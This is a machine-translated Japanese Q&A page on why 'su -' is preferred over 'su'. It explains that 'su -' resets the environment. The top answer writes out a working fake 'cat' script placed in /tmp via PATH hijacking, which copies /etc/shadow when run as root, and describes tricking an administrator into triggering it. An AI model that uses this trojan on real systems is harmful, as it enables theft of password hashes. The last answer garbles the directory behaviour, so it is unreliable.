web-dev-qa-db-ja.com

なぜsuを使用するのですか?

Rootとしてログインする場合、su -suよりも優先される理由がわかりません。

187
Dharmit

su -は、ユーザーの切り替え後にログインシェルを呼び出します。ログインシェルはほとんどの環境変数をリセットし、クリーンなベースを提供します。

suはユーザーを切り替えるだけで、通常のシェルに古いユーザーとほとんど同じ環境を提供します。

あなたがマシンへの通常のユーザーアクセス権を持つソフトウェア開発者であり、あなたの無知な管理者がrootアクセス権を与えないことを想像してみてください。 (うまくいけば)彼をだまそう。

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

ここで、管理者にホームフォルダー内のダミーファイルをcatできない理由を尋ねます。ダミーファイルは機能しません。

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

管理者がそれほど賢くない、または少し怠惰な場合、彼はあなたの机にやって来て、彼のスーパーユーザーの能力を試してみるかもしれません:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

うわー!おかげで、スーパー管理者!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

彼、彼。

破損した$PATH変数がリセットされていないことに気づいたかもしれません。管理者が代わりにsu -を呼び出した場合、これは発生しませんでした。

251
wag

su -は完全にrootとしてログインしますが、suはrootになりすましてログインします。

この最も明白な例は、~を使用する場合、su -はrootのホームディレクトリですが、suを使用する場合、独自のホームディレクトリです。

システムによっては、プロンプト、PATH、または履歴ファイルの違いを意味する場合もあります。

したがって、システムを管理するチームの一員であり、同僚から実行のコマンドが与えられた場合、両方がsu -を使用している場合でも同じように機能しますが、両方がsu、シェル構成が異なるため、違いがある可能性があります。

一方、rootとしてコマンドを実行したいが、独自の設定を使用したい場合は、suの方が適しています。

また、Sudoについても忘れないでください。これには、ルートとして実行されているシェルを起動するための-sオプションがあります。もちろん、これにはさまざまなルールがあり、使用しているディストリビューションに応じてルールが変わります。

37
Mikel

主な違いは次のとおりです。

su - usernameは、指定されたユーザーとしてクリーンログインであるかのようにシェル環境をセットアップし、指定されたユーザーの環境変数にアクセスして使用します。

su usernameは、指定されたユーザーの現在の環境設定でシェルを起動します。

ユーザー名がsuおよびsu -で指定されていない場合、rootアカウントがデフォルトとして暗黙的に使用されます。

2
Akhil MK

私はsuを使用します。通常のユーザーとしてディレクトリにいるが、rootに切り替えて、切り替え後も同じディレクトリにとどまりたい場合です。 suを使用すると、ユーザーがrootに切り替えられ、ルートのホームディレクトリである/ rootにも移動します。

1
Calvin Dike